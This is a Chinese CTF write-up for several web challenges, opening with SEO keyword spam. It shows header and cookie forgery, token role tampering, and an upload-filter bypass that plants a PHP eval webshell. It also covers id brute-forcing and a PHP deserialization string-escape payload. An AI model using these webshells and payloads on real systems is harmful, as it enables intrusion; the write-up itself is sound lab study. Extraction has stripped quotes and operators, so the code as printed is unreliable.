什么是关键词广告,广州百度推广排名优化,外贸互联网推广,查询网站流量的网址文章目录 webhttpcookie彼岸的flagmoe图床大海捞针夺命十三枪 web
http
连接到本地后#xff0c;题目给了我们任务
第一个是要求我们GET传参UwUu第二个是要求我们POST传参Luvu第三个是要求我们cookie值为admin第四个是要求我们来自127.0.0.1第五个是要求我们用MoeBrowser浏… 文章目录 webhttpcookie彼岸的flagmoe图床大海捞针夺命十三枪 web
http
连接到本地后题目给了我们任务
第一个是要求我们GET传参UwUu第二个是要求我们POST传参Luvu第三个是要求我们cookie值为admin第四个是要求我们来自127.0.0.1第五个是要求我们用MoeBrowser浏览器
在此之前先要学会用bp抓本地包 我们winR打开cmd然后输入
ipconfig将下面的ip复制把题目的localhost改掉即可抓本地包 bp抓包添加我们的参数得到flag cookie
打开题目按照给的提示 我们先到./registerPOST传参json数据
{username:dog,password:123456
}然后再到./login登陆一下
{username:dog,password:123456
}查看./flag结果不行 尝试注册admin用户发现已存在结合提示可以修改cookie值 抓包./status将token解码发现是加密过的
我们修改一下role为admin再次编码尝试在./status替换原来的token 然后访问./flag发现还是不行于是直接访问./flag抓包修改cookie值 得到flag 彼岸的flag
打开题目F12发现巨佬博客原来是web前端知识 发现有问题
直接选取元素得到flag
moe图床
文件上传类型的题目 然后F12发现只允许上传png格式
if (!file){alert(请选择一个文件进行上传);return;
}const allowedExtensions [png];const fileExtension file.name.split(.).pop().toLowerCase();if (!allowedExtensions.includes(fileExtension)) {alert(只允许上传后缀名为png的文件);return;
}分析一下
const allowedExtensions [png]; 定义了一个名为 allowedExtensions 的数组其中包含允许上传的文件扩展名。在这个例子中只允许上传扩展名为 ‘png’ 的文件。
const fileExtension file.name.split(.).pop().toLowerCase(); 从 file 对象中提取文件扩展名。它使用 split() 方法根据点 (.) 分隔符将文件名拆分为数组并使用 pop() 获取结果数组的最后一个元素该元素表示文件扩展名。toLowerCase() 方法将文件扩展名转换为小写以进行大小写不敏感的比较。
这样看只需要我们上传的文件名里面包含png的拓展名即可绕过 前提我们还只能上传png绕过js前端检测
我们创建1.png
?php eval($_POST[shell]);?然后bp抓包修改文件名为1.png.php上传成功
然后蚁剑连接 得到flag 大海捞针
打开题目给了提示 应该说的是GET传参id可以连接到不同宇宙id的值从1到1000 一个个找太麻烦了结合提示 应该是要爆破 我们直接bp抓包丢到instruder添加payload位置 设置payload集为从1到1000
开始爆破发现?id676的长度最特殊猜测有flag 我们直接访问发现是另外一道题彼岸的flag出现过的 直接查看页面源代码搜索一下得到flag
夺命十三枪
源代码 ?php
highlight_file(__FILE__);require_once(Hanxin.exe.php);$Chant isset($_GET[chant]) ? $_GET[chant] : 夺命十三枪;$new_visitor new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);$before serialize($new_visitor);
$after Deadly_Thirteen_Spears::Make_a_Move($before);
echo Your Movements: . $after . br;try{echo unserialize($after);
}catch (Exception $e) {echo Even Caused A Glitch...;
}
?
Your Movements: O:34:Omg_It_Is_So_Cool_Bring_Me_My_Flag:2:{s:5:Chant;s:4:test;s:11:Spear_Owner;s:6:Nobody;}
Far away from COOL...我们再看下Hanxin.exe.php ?phpif (basename($_SERVER[SCRIPT_FILENAME]) basename(__FILE__)) {highlight_file(__FILE__);
}class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual array(di_yi_qiang Lovesickness,di_er_qiang Heartbreak,di_san_qiang Blind_Dragon,di_si_qiang Romantic_charm,di_wu_qiang Peerless,di_liu_qiang White_Dragon,di_qi_qiang Penetrating_Gaze,di_ba_qiang Kunpeng,di_jiu_qiang Night_Parade_of_a_Hundred_Ghosts,di_shi_qiang Overlord,di_shi_yi_qiang Letting_Go,di_shi_er_qiang Decisive_Victory,di_shi_san_qiang Unrepentant_Lethality);public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index $movement){$move str_replace($index, $movement, $move);}return $move;}
}class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant ;public $Spear_Owner Nobody;function __construct($chant){$this-Chant $chant;$this-Spear_Owner Nobody;}function __toString(){if($this-Spear_Owner ! MaoLei){return Far away from COOL...;}else{return Omg Youre So COOOOOL!!! . getenv(FLAG);}}
}?
分析一下
我们先看到出口Omg_It_Is_So_Cool_Bring_Me_My_Flag.__toString()只要满足Spear_Owner为MaoLei就可得到flag往前推当使用echo或者print输出对象时会调用此方法源代码的echo Your Movements: . $after . br;刚好满足
但是我们实例化Omg_It_Is_So_Cool_Bring_Me_My_Flag()后可以发现Spear_Owner的值我们是修改不了的。这就是个问题我们怎么做到修改一个不可被修改的值呢
关键点在于Deadly_Thirteen_Spears.Make_a_Move()同时结合我们的目的我们可以利用字符串逃逸来实现绕过
我们先随便传入test 我们的目标是
O:34:Omg_It_Is_So_Cool_Bring_Me_My_Flag:2:{s:5:Chant;s:4:test;s:11:Spear_Owner;s:6:MaoLei;}我们尝试把;s:11:Spear_Owner;s:6:MaoLei;}写到Chant里面然后把后面的部分挤掉 同时长度变为435
O:34:Omg_It_Is_So_Cool_Bring_Me_My_Flag:2:{s:5:Chant;s:39:test;s:11:Spear_Owner;s:6:MaoLei;};s:11:Spear_Owner;s:6:Nobody;}这时候我们利用替换前后长度差与之相等 这里我选的是构造7*(di_qi_qiang)因为当它被替换后长度差为55*7刚好为我们要的 只要做到下面这样就可以得到flag长度为3935
O:34:Omg_It_Is_So_Cool_Bring_Me_My_Flag:2:{s:5:Chant;s:74:di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang;s:11:Spear_Owner;s:6:MaoLei;};s:11:Spear_Owner;s:6:Nobody;}所以payload为
?chantdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang;s:11:Spear_Owner;s:6:MaoLei;}得到flag